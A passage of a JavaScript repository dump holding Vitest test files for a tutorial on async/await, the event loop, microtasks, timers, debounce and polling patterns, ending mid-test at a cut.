wait for async callbacks\n      const order = []\n      const items = [1, 2, 3]\n      \n      // This is the WRONG way\n      async function wrongWay() {\n        items.forEach(async (item) => {\n          await Promise.resolve()\n          order.push(item)\n        })\n        order.push('done')\n      }\n      \n      await wrongWay()\n      // 'done' appears before the items because forEach doesn't wait\n      expect(order[0]).toBe('done')\n      \n      // Let microtasks complete\n      await Promise.resolve()\n      await Promise.resolve()\n      await Promise.resolve()\n      \n      expect(order).toEqual(['done', 1, 2, 3])\n    })\n    \n    it('Mistake #2 Fix: Use for...of for sequential processing', async () => {\n      // From: Use for...of for sequential\n      const order = []\n      const items = [1, 2, 3]\n      \n      async function rightWay() {\n        for (const item of items) {\n          await Promise.resolve()\n          order.push(item)\n        }\n        order.push('done')\n      }\n      \n      await rightWay()\n      expect(order).toEqual([1, 2, 3, 'done'])\n    })\n    \n    it('Mistake #2 Fix: Use Promise.all with map for parallel processing', async () => {\n      // From: Use Promise.all for parallel\n      const results = []\n      const items = [1, 2, 3]\n      \n      async function parallelWay() {\n        await Promise.all(\n          items.map(async (item) => {\n            await Promise.resolve()\n            results.push(item)\n          })\n        )\n        results.push('done')\n      }\n      \n      await parallelWay()\n      // Items may be in any order (parallel), but 'done' is always last\n      expect(results).toContain(1)\n      expect(results).toContain(2)\n      expect(results).toContain(3)\n      expect(results[results.length - 1]).toBe('done')\n    })\n    \n    it('Mistake #4: Not handling errors leads to unhandled rejections', async () => {\n      // From: Not Handling Errors\n      async function riskyOperation() {\n        throw new Error('Unhandled!')\n      }\n      \n      // Without error handling, this would be an unhandled rejection\n      await expect(riskyOperation()).rejects.toThrow('Unhandled!')\n    })\n  })\n  \n  // ============================================================\n  // ADVANCED PATTERNS\n  // ============================================================\n  \n  describe('Advanced Patterns', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    it('should implement retry with exponential backoff', async () => {\n      // From: Retry with Exponential Backoff\n      let attempts = 0\n      \n      async function flakyOperation() {\n        attempts++\n        if (attempts < 3) {\n          throw new Error('Temporary failure')\n        }\n        return 'success'\n      }\n      \n      async function withRetry(operation, retries = 3, backoff = 100) {\n        for (let attempt = 0; attempt < retries; attempt++) {\n          try {\n            return await operation()\n          } catch (error) {\n            if (attempt === retries - 1) throw error\n            await new Promise(resolve => setTimeout(resolve, backoff * Math.pow(2, attempt)))\n          }\n        }\n      }\n      \n      const promise = withRetry(flakyOperation, 3, 100)\n      \n      // First attempt fails, wait 100ms\n      await vi.advanceTimersByTimeAsync(0)\n      expect(attempts).toBe(1)\n      \n      // Second attempt after 100ms, fails, wait 200ms\n      await vi.advanceTimersByTimeAsync(100)\n      expect(attempts).toBe(2)\n      \n      // Third attempt after 200ms, succeeds\n      await vi.advanceTimersByTimeAsync(200)\n      \n      const result = await promise\n      expect(result).toBe('success')\n      expect(attempts).toBe(3)\n    })\n    \n    it('should implement timeout wrapper', async () => {\n      // From: Timeout Wrapper\n      async function withTimeout(promise, ms) {\n        const timeout = new Promise((_, reject) => {\n          setTimeout(() => reject(new Error(`Timeout after ${ms}ms`)), ms)\n        })\n        return Promise.race([promise, timeout])\n      }\n      \n      // Test successful case\n      const fastPromise = withTimeout(Promise.resolve('fast'), 1000)\n      expect(await fastPromise).toBe('fast')\n      \n      // Test timeout case\n      const slowPromise = new Promise(resolve => setTimeout(() => resolve('slow'), 2000))\n      const timeoutPromise = withTimeout(slowPromise, 100)\n      \n      // Advance time to trigger timeout\n      vi.advanceTimersByTime(100)\n      \n      await expect(timeoutPromise).rejects.toThrow('Timeout after 100ms')\n    })\n    \n    it('should implement cancellation with AbortController', async () => {\n      // From: Cancellation with AbortController\n      async function fetchWithCancellation(signal) {\n        return new Promise((resolve, reject) => {\n          const timeoutId = setTimeout(() => resolve('data'), 1000)\n          \n          signal.addEventListener('abort', () => {\n            clearTimeout(timeoutId)\n            reject(new DOMException('Aborted', 'AbortError'))\n          })\n        })\n      }\n      \n      const controller = new AbortController()\n      const promise = fetchWithCancellation(controller.signal)\n      \n      // Cancel before it completes\n      controller.abort()\n      \n      await expect(promise).rejects.toThrow('Aborted')\n    })\n    \n    it('should convert callback API to async/await', async () => {\n      // From: Converting Callback APIs to async/await\n      function callbackApi(value, callback) {\n        setTimeout(() => {\n          if (value < 0) {\n            callback(new Error('Negative value'))\n          } else {\n            callback(null, value * 2)\n          }\n        }, 100)\n      }\n      \n      // Promisified version\n      function asyncApi(value) {\n        return new Promise((resolve, reject) => {\n          callbackApi(value, (err, result) => {\n            if (err) reject(err)\n            else resolve(result)\n          })\n        })\n      }\n      \n      // Test success\n      const successPromise = asyncApi(21)\n      await vi.advanceTimersByTimeAsync(100)\n      expect(await successPromise).toBe(42)\n      \n      // Test failure - must attach handler BEFORE advancing time\n      const failPromise = asyncApi(-1)\n      const failHandler = expect(failPromise).rejects.toThrow('Negative value')\n      await vi.advanceTimersByTimeAsync(100)\n      await failHandler\n    })\n  })\n  \n  // ============================================================\n  // INTERVIEW QUESTIONS\n  // ============================================================\n  \n  describe('Interview Questions', () => {\n    it('Question 1: What is the output order?', async () => {\n      // From: Interview Question 1\n      const order = []\n      \n      async function test() {\n        order.push('1')\n        await Promise.resolve()\n        order.push('2')\n      }\n      \n      order.push('A')\n      test()\n      order.push('B')\n      \n      // Before microtasks\n      expect(order).toEqual(['A', '1', 'B'])\n      \n      await Promise.resolve()\n      \n      // After microtasks\n      expect(order).toEqual(['A', '1', 'B', '2'])\n    })\n    \n    it('Question 2: Sequential vs Parallel timing', async () => {\n      // From: Interview Question 2\n      vi.useFakeTimers()\n      \n      function delay(ms) {\n        return new Promise(resolve => setTimeout(resolve, ms))\n      }\n      \n      // Version A - Sequential\n      async function versionA() {\n        const start = Date.now()\n        await delay(100)\n        await delay(100)\n        return Date.now() - start\n      }\n      \n      // Version B - Parallel\n      async function versionB() {\n        const start = Date.now()\n        await Promise.all([delay(100), delay(100)])\n        return Date.now() - start\n      }\n      \n      const promiseA = versionA()\n      await vi.advanceTimersByTimeAsync(200)\n      const timeA = await promiseA\n      \n      const promiseB = versionB()\n      await vi.advanceTimersByTimeAsync(100)\n      const timeB = await promiseB\n      \n      expect(timeA).toBe(200)  // Sequential: 100 + 100\n      expect(timeB).toBe(100)  // Parallel: max(100, 100)\n      \n      vi.useRealTimers()\n    })\n    \n    it('Question 4: The forEach trap', async () => {\n      // From: Interview Question 4 - The forEach Trap\n      vi.useFakeTimers()\n      \n      const order = []\n      \n      async function processItems() {\n        const items = [1, 2, 3]\n        \n        items.forEach(async (item) => {\n          await new Promise(resolve => setTimeout(resolve, 100))\n          order.push(item)\n        })\n        \n        order.push('Done')\n      }\n      \n      processItems()\n      \n      // 'Done' appears immediately because forEach doesn't wait\n      expect(order).toEqual(['Done'])\n      \n      // After delays complete\n      await vi.advanceTimersByTimeAsync(100)\n      await Promise.resolve()\n      await Promise.resolve()\n      await Promise.resolve()\n      \n      expect(order).toEqual(['Done', 1, 2, 3])\n      \n      vi.useRealTimers()\n    })\n    \n    it('Question 5: Unnecessary await before return', async () => {\n      // From: Interview Question 5 - What is wrong here?\n      \n      // This await is unnecessary (but not wrong)\n      async function unnecessaryAwait() {\n        return await Promise.resolve(42)\n      }\n      \n      // This is equivalent and cleaner\n      async function noAwait() {\n        return Promise.resolve(42)\n      }\n      \n      expect(await unnecessaryAwait()).toBe(42)\n      expect(await noAwait()).toBe(42)\n    })\n    \n    it('Question 6: Complex output order with async/await, Promises, and setTimeout', async () => {\n      // From: Test Your Knowledge Question 6\n      vi.useFakeTimers()\n      \n      const order = []\n      \n      order.push('1')\n      setTimeout(() => order.push('2'), 0)\n      Promise.resolve().then(() => order.push('3'))\n      \n      async function test() {\n        order.push('4')\n        await Promise.resolve()\n        order.push('5')\n      }\n      \n      test()\n      order.push('6')\n      \n      // Synchronous code completes: 1, 4, 6\n      expect(order).toEqual(['1', '4', '6'])\n      \n      // Microtasks run: 3, 5\n      await Promise.resolve()\n      await Promise.resolve()\n      expect(order).toEqual(['1', '4', '6', '3', '5'])\n      \n      // Macrotask runs: 2\n      await vi.advanceTimersByTimeAsync(0)\n      expect(order).toEqual(['1', '4', '6', '3', '5', '2'])\n      \n      vi.useRealTimers()\n    })\n  })\n  \n  // ============================================================\n  // ASYNC/AWAIT WITH PROMISES INTEROPERABILITY\n  // ============================================================\n  \n  describe('async/await and Promises Interoperability', () => {\n    it('should work with .then() on async function results', async () => {\n      async function getData() {\n        return 42\n      }\n      \n      const result = await getData().then(x => x * 2)\n      expect(result).toBe(84)\n    })\n    \n    it('should work with .catch() on async function results', async () => {\n      async function failingFn() {\n        throw new Error('failed')\n      }\n      \n      const result = await failingFn().catch(err => `caught: ${err.message}`)\n      expect(result).toBe('caught: failed')\n    })\n    \n    it('should allow mixing async/await and Promise chains', async () => {\n      async function step1() {\n        return 'step1'\n      }\n      \n      function step2(prev) {\n        return Promise.resolve(`${prev} -> step2`)\n      }\n      \n      async function step3(prev) {\n        return `${prev} -> step3`\n      }\n      \n      const result = await step1()\n        .then(step2)\n        .then(step3)\n      \n      expect(result).toBe('step1 -> step2 -> step3')\n    })\n    \n    it('should handle Promise.race with async functions', async () => {\n      vi.useFakeTimers()\n      \n      async function fast() {\n        await new Promise(resolve => setTimeout(resolve, 50))\n        return 'fast'\n      }\n      \n      async function slow() {\n        await new Promise(resolve => setTimeout(resolve, 200))\n        return 'slow'\n      }\n      \n      const racePromise = Promise.race([fast(), slow()])\n      \n      await vi.advanceTimersByTimeAsync(50)\n      \n      expect(await racePromise).toBe('fast')\n      \n      vi.useRealTimers()\n    })\n  })\n  \n  // ============================================================\n  // EDGE CASES\n  // ============================================================\n  \n  describe('Edge Cases', () => {\n    it('should handle async function that returns undefined', async () => {\n      async function returnsNothing() {\n        await Promise.resolve()\n        // No return statement\n      }\n      \n      const result = await returnsNothing()\n      expect(result).toBeUndefined()\n    })\n    \n    it('should handle async function that returns null', async () => {\n      async function returnsNull() {\n        return null\n      }\n      \n      const result = await returnsNull()\n      expect(result).toBeNull()\n    })\n    \n    it('should handle nested async functions', async () => {\n      async function outer() {\n        async function inner() {\n          return await Promise.resolve('inner value')\n        }\n        return await inner()\n      }\n      \n      expect(await outer()).toBe('inner value')\n    })\n    \n    it('should handle async IIFE', async () => {\n      const result = await (async () => {\n        return 'IIFE result'\n      })()\n      \n      expect(result).toBe('IIFE result')\n    })\n    \n    it('should handle await in conditional', async () => {\n      async function conditionalAwait(condition) {\n        if (condition) {\n          return await Promise.resolve('true branch')\n        } else {\n          return await Promise.resolve('false branch')\n        }\n      }\n      \n      expect(await conditionalAwait(true)).toBe('true branch')\n      expect(await conditionalAwait(false)).toBe('false branch')\n    })\n    \n    it('should handle await in try-catch-finally', async () => {\n      const order = []\n      \n      async function withTryCatchFinally() {\n        try {\n          order.push('try start')\n          await Promise.resolve()\n          order.push('try end')\n          throw new Error('test')\n        } catch (e) {\n          order.push('catch')\n          await Promise.resolve()\n          order.push('catch after await')\n        } finally {\n          order.push('finally')\n          await Promise.resolve()\n          order.push('finally after await')\n        }\n      }\n      \n      await withTryCatchFinally()\n      \n      expect(order).toEqual([\n        'try start',\n        'try end',\n        'catch',\n        'catch after await',\n        'finally',\n        'finally after await'\n      ])\n    })\n    \n    it('should handle await in loop', async () => {\n      async function loopWithAwait() {\n        const results = []\n        for (let i = 0; i < 3; i++) {\n          results.push(await Promise.resolve(i))\n        }\n        return results\n      }\n      \n      expect(await loopWithAwait()).toEqual([0, 1, 2])\n    })\n    \n    it('should handle rejected Promise without await in try block', async () => {\n      // This is a subtle bug - the catch won't catch the rejection\n      // because the Promise is returned, not awaited\n      async function subtleBug() {\n        try {\n          return Promise.reject(new Error('not caught'))\n        } catch (e) {\n          return 'caught'\n        }\n      }\n      \n      // The error is NOT caught by the try-catch\n      await expect(subtleBug()).rejects.toThrow('not caught')\n    })\n    \n    it('should catch rejected Promise when awaited in try block', async () => {\n      async function fixedVersion() {\n        try {\n          return await Promise.reject(new Error('is caught'))\n        } catch (e) {\n          return 'caught'\n        }\n      }\n      \n      // Now the error IS caught\n      expect(await fixedVersion()).toBe('caught')\n    })\n  })\n})\n"
  },
  {
    "path": "tests/functions-execution/event-loop/event-loop.test.js",
    "content": "import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\ndescribe('Event Loop, Timers and Scheduling', () => {\n  \n  // ============================================================\n  // SYNCHRONOUS EXECUTION\n  // ============================================================\n  \n  describe('Synchronous Execution', () => {\n    it('should execute code one line at a time in order', () => {\n      // From lines 99-104: JavaScript executes these ONE AT A TIME, in order\n      const order = []\n      \n      order.push('First')   // 1. This runs\n      order.push('Second')  // 2. Then this\n      order.push('Third')   // 3. Then this\n      \n      expect(order).toEqual(['First', 'Second', 'Third'])\n    })\n    \n    it('should execute nested function calls correctly (multiply, square, printSquare)', () => {\n      // From lines 210-224: Call Stack example\n      function multiply(a, b) {\n        return a * b\n      }\n      \n      function square(n) {\n        return multiply(n, n)\n      }\n      \n      function printSquare(n) {\n        const result = square(n)\n        return result\n      }\n      \n      expect(printSquare(4)).toBe(16)\n      expect(square(5)).toBe(25)\n      expect(multiply(3, 4)).toBe(12)\n    })\n    \n    it('should store objects and arrays in the heap', () => {\n      // From lines 243-245: Heap example\n      const user = { name: 'Alice' }  // Object stored in heap\n      const numbers = [1, 2, 3]       // Array stored in heap\n      \n      expect(user).toEqual({ name: 'Alice' })\n      expect(numbers).toEqual([1, 2, 3])\n    })\n  })\n  \n  // ============================================================\n  // setTimeout BASICS\n  // ============================================================\n  \n  describe('setTimeout Basics', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    it('should run callback after specified delay', async () => {\n      const callback = vi.fn()\n      \n      setTimeout(callback, 2000)\n      \n      expect(callback).not.toHaveBeenCalled()\n      \n      await vi.advanceTimersByTimeAsync(2000)\n      \n      expect(callback).toHaveBeenCalledTimes(1)\n    })\n    \n    it('should pass arguments to the callback', async () => {\n      // From lines 562-566: Pass arguments to the callback\n      let result = ''\n      \n      setTimeout((name, greeting) => {\n        result = `${greeting}, ${name}!`\n      }, 1000, 'Alice', 'Hello')\n      \n      await vi.advanceTimersByTimeAsync(1000)\n      \n      expect(result).toBe('Hello, Alice!')\n    })\n    \n    it('should cancel timeout with clearTimeout', async () => {\n      // From lines 569-577: Canceling a timeout\n      const callback = vi.fn()\n      \n      const timerId = setTimeout(callback, 5000)\n      \n      // Cancel it before it fires\n      clearTimeout(timerId)\n      \n      await vi.advanceTimersByTimeAsync(5000)\n      \n      expect(callback).not.toHaveBeenCalled()\n    })\n    \n    it('should demonstrate the zero delay myth - setTimeout(fn, 0) does NOT run immediately', async () => {\n      // From lines 580-589: Zero delay myth\n      const order = []\n      \n      order.push('A')\n      setTimeout(() => order.push('B'), 0)\n      order.push('C')\n      \n      // Before advancing timers, only sync code has run\n      expect(order).toEqual(['A', 'C'])\n      \n      await vi.advanceTimersByTimeAsync(0)\n      \n      // Output: A, C, B (NOT A, B, C!)\n      expect(order).toEqual(['A', 'C', 'B'])\n    })\n    \n    it('should run synchronous code first, then setTimeout callback', async () => {\n      // From lines 313-323: Basic setTimeout example\n      const order = []\n      \n      order.push('Start')\n      \n      setTimeout(() => {\n        order.push('Timeout')\n      }, 0)\n      \n      order.push('End')\n      \n      // Before microtasks/timers run\n      expect(order).toEqual(['Start', 'End'])\n      \n      await vi.advanceTimersByTimeAsync(0)\n      \n      // Output: Start, End, Timeout\n      expect(order).toEqual(['Start', 'End', 'Timeout'])\n    })\n    \n    it('should run multiple setTimeout callbacks in order of their delays', async () => {\n      const order = []\n      \n      setTimeout(() => order.push('200ms'), 200)\n      setTimeout(() => order.push('100ms'), 100)\n      setTimeout(() => order.push('300ms'), 300)\n      \n      await vi.advanceTimersByTimeAsync(300)\n      \n      expect(order).toEqual(['100ms', '200ms', '300ms'])\n    })\n    \n    it('should run setTimeout callbacks with same delay in registration order', async () => {\n      const order = []\n      \n      setTimeout(() => order.push('first'), 100)\n      setTimeout(() => order.push('second'), 100)\n      setTimeout(() => order.push('third'), 100)\n      \n      await vi.advanceTimersByTimeAsync(100)\n      \n      expect(order).toEqual(['first', 'second', 'third'])\n    })\n    \n    it('should demonstrate the 4ms minimum delay after nested timeouts', async () => {\n      // From lines 601-615: After 5 nested timeouts, browsers enforce a minimum 4ms delay\n      // Note: Vitest fake timers don't enforce the 4ms minimum, so we test the pattern\n      const times = []\n      let start = Date.now()\n      \n      function run() {\n        times.push(Date.now() - start)\n        if (times.length < 10) {\n          setTimeout(run, 0)\n        }\n      }\n      \n      setTimeout(run, 0)\n      \n      // Run all nested timeouts\n      await vi.runAllTimersAsync()\n      \n      // Should have 10 timestamps recorded\n      expect(times.length).toBe(10)\n      \n      // In fake timers, all execute at 0ms intervals\n      // In real browsers, after 5 nested calls, minimum becomes 4ms\n      // Pattern: [1, 1, 1, 1, 4, 9, 14, 19, 24, 29] approximately\n    })\n  })\n  \n  // ============================================================\n  // DEBOUNCE PATTERN\n  // ============================================================\n  \n  describe('Debounce Pattern', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    it('should cancel previous timeout when implementing debounce', async () => {\n      // From lines 1341-1349: Cancel previous timeout (debounce)\n      const searchResults = []\n      let timeoutId\n      \n      function handleInput(value) {\n        clearTimeout(timeoutId)\n        timeoutId = setTimeout(() => {\n          searchResults.push(`search: ${value}`)\n        }, 300)\n      }\n      \n      // Simulate rapid typing\n      handleInput('a')\n      await vi.advanceTimersByTimeAsync(100)\n      \n      handleInput('ab')\n      await vi.advanceTimersByTimeAsync(100)\n      \n      handleInput('abc')\n      await vi.advanceTimersByTimeAsync(100)\n      \n      // At this point, 300ms hasn't passed since last input\n      expect(searchResults).toEqual([])\n      \n      // Wait for debounce delay\n      await vi.advanceTimersByTimeAsync(300)\n      \n      // Only the last input should trigger a search\n      expect(searchResults).toEqual(['search: abc'])\n    })\n    \n    it('should execute immediately if enough time passes between inputs', async () => {\n      const searchResults = []\n      let timeoutId\n      \n      function handleInput(value) {\n        clearTimeout(timeoutId)\n        timeoutId = setTimeout(() => {\n          searchResults.push(`search: ${value}`)\n        }, 300)\n      }\n      \n      handleInput('first')\n      await vi.advanceTimersByTimeAsync(300)\n      expect(searchResults).toEqual(['search: first'])\n      \n      handleInput('second')\n      await vi.advanceTimersByTimeAsync(300)\n      expect(searchResults).toEqual(['search: first', 'search: second'])\n    })\n  })\n  \n  // ============================================================\n  // SETINTERVAL WITH ASYNC PROBLEM\n  // ============================================================\n  \n  describe('setInterval with Async Problem', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    it('should demonstrate overlapping requests with setInterval and async', async () => {\n      // From lines 1521-1526: If fetch takes longer than interval, multiple requests overlap\n      const requestsStarted = []\n      const requestsCompleted = []\n      let requestCount = 0\n      \n      // Simulate a slow fetch that takes 1500ms\n      async function slowFetch() {\n        const id = ++requestCount\n        requestsStarted.push(`request ${id} started`)\n        await new Promise(resolve => setTimeout(resolve, 1500))\n        requestsCompleted.push(`request ${id} completed`)\n      }\n      \n      // Start interval that fires every 1000ms\n      const intervalId = setInterval(async () => {\n        await slowFetch()\n      }, 1000)\n      \n      // After 1000ms: first request starts\n      await vi.advanceTimersByTimeAsync(1000)\n      await Promise.resolve()\n      expect(requestsStarted).toEqual(['request 1 started'])\n      expect(requestsCompleted).toEqual([])\n      \n      // After 2000ms: second request starts (first still pending!)\n      await vi.advanceTimersByTimeAsync(1000)\n      await Promise.resolve()\n      expect(requestsStarted).toEqual(['request 1 started', 'request 2 started'])\n      expect(requestsCompleted).toEqual([]) // First request still not done\n      \n      // After 2500ms: first request completes\n      await vi.advanceTimersByTimeAsync(500)\n      await Promise.resolve()\n      expect(requestsCompleted).toEqual(['request 1 completed'])\n      \n      // Clean up\n      clearInterval(intervalId)\n    })\n    \n    it('should demonstrate the fix using nested setTimeout for polling', async () => {\n      // From lines 1532-1539: Schedule next AFTER completion\n      const requestsStarted = []\n      const requestsCompleted = []\n      let requestCount = 0\n      let isPolling = true\n      \n      // Simulate a slow fetch that takes 1500ms\n      async function slowFetch() {\n        const id = ++requestCount\n        requestsStarted.push(`request ${id} started`)\n        await new Promise(resolve => setTimeout(resolve, 1500))\n        requestsCompleted.push(`request ${id} completed`)\n      }\n      \n      // Fixed polling pattern\n      async function poll() {\n        await slowFetch()\n        if (isPolling && requestCount < 3) {\n          setTimeout(poll, 1000) // Schedule next AFTER completion\n        }\n      }\n      \n      poll()\n      \n      // Request 1 starts immediately\n      await Promise.resolve()\n      expect(requestsStarted).toEqual(['request 1 started'])\n      \n      // After 1500ms: request 1 completes, then waits 1000ms before next\n      await vi.advanceTimersByTimeAsync(1500)\n      await Promise.resolve()\n      expect(requestsCompleted).toEqual(['request 1 completed'])\n      expect(requestsStarted.length).toBe(1) // No overlapping request!\n      \n      // After 2500ms (1500 + 1000): request 2 starts\n      await vi.advanceTimersByTimeAsync(1000)\n      await Promise.resolve()\n      expect(requestsStarted).toEqual(['request 1 started', 'request 2 started'])\n      \n      // After 4000ms (1500 + 1000 + 1500): request 2 completes\n      await vi.advanceTimersByTimeAsync(1500)\n      await Promise.resolve()\n      expect(requestsCompleted).toEqual(['request 1 completed', 'request 2 completed'])\n      \n      isPolling = false\n    })\n  })\n  \n  // ============================================================\n  // PROMISES AND MICROTASKS\n  // ============================================================\n  \n  describe('Promises and Microtasks', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    it('should run Promise.then() as a microtask', async () => {\n      const order = []\n      \n      order.push('sync 1')\n      Promise.resolve().then(() => order.push('promise'))\n      order.push('sync 2')\n      \n      // Microtask hasn't run yet\n      expect(order).toEqual(['sync 1', 'sync 2'])\n      \n      // Let microtasks drain\n      await Promise.resolve()\n      \n      expect(order).toEqual(['sync 1', 'sync 2', 'promise'])\n    })\n    \n    it('should run Promises BEFORE setTimeout (microtasks before macrotasks)', async () => {\n      // From lines 391-401: Promises vs setTimeout\n      const order = []\n      \n      order.push('1')\n      \n      setTimeout(() => order.push('2'), 0)\n      \n      Promise.resolve().then(() => order.push('3'))\n      \n      order.push('4')\n      \n      // Let microtasks drain first\n      await Promise.resolve()\n      \n      // At this point: ['1', '4', '3']\n      expect(order).toEqual(['1', '4', '3'])\n      \n      // Now let timers run\n      await vi.advanceTimersByTimeAsync(0)\n      \n      // Output: 1, 4, 3, 2\n      expect(order).toEqual(['1', '4', '3', '2'])\n    })\n    \n    it('should drain entire microtask queue before any macrotask', async () => {\n      // From lines 449-467: Nested Microtasks\n      const order = []\n      \n      order.push('Start')\n      \n      Promise.resolve()\n        .then(() => {\n          order.push('Promise 1')\n          Promise.resolve().then(() => order.push('Promise 2'))\n        })\n      \n      setTimeout(() => order.push('Timeout'), 0)\n      \n      order.push('End')\n      \n      // Let all microtasks drain\n      await Promise.resolve()\n      await Promise.resolve() // Need two ticks for nested promise\n      \n      expect(order).toEqual(['Start', 'End', 'Promise 1', 'Promise 2'])\n      \n      // Now let timers run\n      await vi.advanceTimersByTimeAsync(0)\n      \n      // Output: Start, End, Promise 1, Promise 2, Timeout\n      expect(order).toEqual(['Start', 'End', 'Promise 1', 'Promise 2', 'Timeout'])\n    })\n    \n    it('should process newly added microtasks during microtask processing', async () => {\n      const order = []\n      \n      Promise.resolve().then(() => {\n        order.push('first')\n        Promise.resolve().then(() => {\n          order.push('second')\n          Promise.resolve().then(() => {\n            order.push('third')\n          })\n        })\n      })\n      \n      // Drain all microtasks - need multiple ticks for nested promises\n      await Promise.resolve()\n      await Promise.resolve()\n      await Promise.resolve()\n      await Promise.resolve()\n      \n      expect(order).toEqual(['first', 'second', 'third'])\n    })\n    \n    it('should run queueMicrotask as a microtask', async () => {\n      const order = []\n      \n      order.push('sync 1')\n      queueMicrotask(() => order.push('microtask'))\n      order.push('sync 2')\n      \n      await Promise.resolve()\n      \n      expect(order).toEqual(['sync 1', 'sync 2', 'microtask'])\n    })\n    \n    it('should interleave Promise.resolve() and queueMicrotask in order', async () => {\n      const order = []\n      \n      Promise.resolve().then(() => order.push('promise 1'))\n      queueMicrotask(() => order.push('queueMicrotask 1'))\n      Promise.resolve().then(() => order.push('promise 2'))\n      queueMicrotask(() => order.push('queueMicrotask 2'))\n      \n      await Promise.resolve()\n      await Promise.resolve()\n      \n      // Microtasks run in order they were queued\n      expect(order).toEqual(['promise 1', 'queueMicrotask 1', 'promise 2', 'queueMicrotask 2'])\n    })\n    \n    it('should demonstrate that Promise.resolve() creates a microtask, not synchronous execution', async () => {\n      const order = []\n      \n      const promise = Promise.resolve('value')\n      order.push('after Promise.resolve()')\n      \n      promise.then(value => order.push(`then: ${value}`))\n      order.push('after .then()')\n      \n      await Promise.resolve()\n      \n      expect(order).toEqual([\n        'after Promise.resolve()',\n        'after .then()',\n        'then: value'\n      ])\n    })\n  })\n  \n  // ============================================================\n  // setInterval\n  // ============================================================\n  \n  describe('setInterval', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    it('should run callback repeatedly at specified interval', async () => {\n      // From lines 649-662: Basic setInterval usage\n      let count = 0\n      const results = []\n      \n      const intervalId = setInterval(() => {\n        count++\n        results.push(`Count: ${count}`)\n        \n        if (count >= 5) {\n          clearInterval(intervalId)\n          results.push('Done!')\n        }\n      }, 1000)\n      \n      // Advance through 5 intervals\n      await vi.advanceTimersByTimeAsync(5000)\n      \n      expect(results).toEqual([\n        'Count: 1',\n        'Count: 2',\n        'Count: 3',\n        'Count: 4',\n        'Count: 5',\n        'Done!'\n      ])\n      expect(count).toBe(5)\n    })\n    \n    it('should stop running when clearInterval is called', async () => {\n      const callback = vi.fn()\n      \n      const intervalId = setInterval(callback, 100)\n      \n      await vi.advanceTimersByTimeAsync(250)\n      expect(callback).toHaveBeenCalledTimes(2)\n      \n      clearInterval(intervalId)\n      \n      await vi.advanceTimersByTimeAsync(500)\n      // Should still be 2, not more\n      expect(callback).toHaveBeenCalledTimes(2)\n    })\n    \n    it('should pass arguments to the interval callback', async () => {\n      const results = []\n      \n      const intervalId = setInterval((prefix, suffix) => {\n        results.push(`${prefix}test${suffix}`)\n      }, 100, '[', ']')\n      \n      await vi.advanceTimersByTimeAsync(300)\n      \n      clearInterval(intervalId)\n      \n      expect(results).toEqual(['[test]', '[test]', '[test]'])\n    })\n  })\n  \n  // ============================================================\n  // NESTED setTimeout (preciseInterval pattern)\n  // ============================================================\n  \n  describe('Nested setTimeout (preciseInterval pattern)', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    it('should implement preciseInterval with nested setTimeout', async () => {\n      // From lines 695-706: Nested setTimeout guarantees delay BETWEEN executions\n      const results = []\n      let callCount = 0\n      \n      function preciseInterval(callback, delay) {\n        function tick() {\n          callback()\n          if (callCount < 3) {\n            setTimeout(tick, delay)\n          }\n        }\n        setTimeout(tick, delay)\n      }\n      \n      preciseInterval(() => {\n        callCount++\n        results.push(`tick ${callCount}`)\n      }, 1000)\n      \n      await vi.advanceTimersByTimeAsync(3000)\n      \n      expect(results).toEqual(['tick 1', 'tick 2', 'tick 3'])\n    })\n    \n    it('should schedule next timeout only after callback completes', async () => {\n      const timestamps = []\n      let count = 0\n      \n      function recursiveTimeout() {\n        timestamps.push(Date.now())\n        count++\n        if (count < 3) {\n          setTimeout(recursiveTimeout, 100)\n        }\n      }\n      \n      setTimeout(recursiveTimeout, 100)\n      \n      await vi.advanceTimersByTimeAsync(300)\n      \n      expect(timestamps.length).toBe(3)\n      // Each timestamp should be 100ms apart\n      expect(timestamps[1] - timestamps[0]).toBe(100)\n      expect(timestamps[2] - timestamps[1]).toBe(100)\n    })\n  })\n  \n  // ============================================================\n  // async/await\n  // ============================================================\n  \n  describe('async/await', () => {\n    it('should run code before await synchronously', async () => {\n      // From lines 955-964: async/await ordering\n      const order = []\n      \n      async function foo() {\n        order.push('foo start')\n        await Promise.resolve()\n        order.push('foo end')\n      }\n      \n      order.push('script start')\n      foo()\n      order.push('script end')\n      \n      // At this point, foo has paused at await\n      expect(order).toEqual(['script start', 'foo start', 'script end'])\n      \n      // Let microtasks drain\n      await Promise.resolve()\n      \n      // Output: script start, foo start, script end, foo end\n      expect(order).toEqual(['script start', 'foo start', 'script end', 'foo end'])\n    })\n    \n    it('should treat code after await as a microtask', async () => {\n      const order = []\n      \n      async function asyncFn() {\n        order.push('async start')\n        await Promise.resolve()\n        order.push('async after await')\n      }\n      \n      order.push('before call')\n      asyncFn()\n      order.push('after call')\n      \n      // Await hasn't resolved yet\n      expect(order).toEqual(['before call', 'async start', 'after call'])\n      \n      await Promise.resolve()\n      \n      expect(order).toEqual(['before call', 'async start', 'after call', 'async after await'])\n    })\n    \n    it('should handle multiple await statements', async () => {\n      const order = []\n      \n      async function multipleAwaits() {\n        order.push('start')\n        await Promise.resolve()\n        order.push('after first await')\n        await Promise.resolve()\n        order.push('after second await')\n      }\n      \n      multipleAwaits()\n      order.push('sync after call')\n      \n      expect(order).toEqual(['start', 'sync after call'])\n      \n      await Promise.resolve()\n      expect(order).toEqual(['start', 'sync after call', 'after first await'])\n      \n      await Promise.resolve()\n      expect(order).toEqual(['start', 'sync after call', 'after first await', 'after second await'])\n    })\n    \n    it('should handle async functions returning values', async () => {\n      async function getValue() {\n        await Promise.resolve()\n        return 42\n      }\n      \n      const result = await getValue()\n      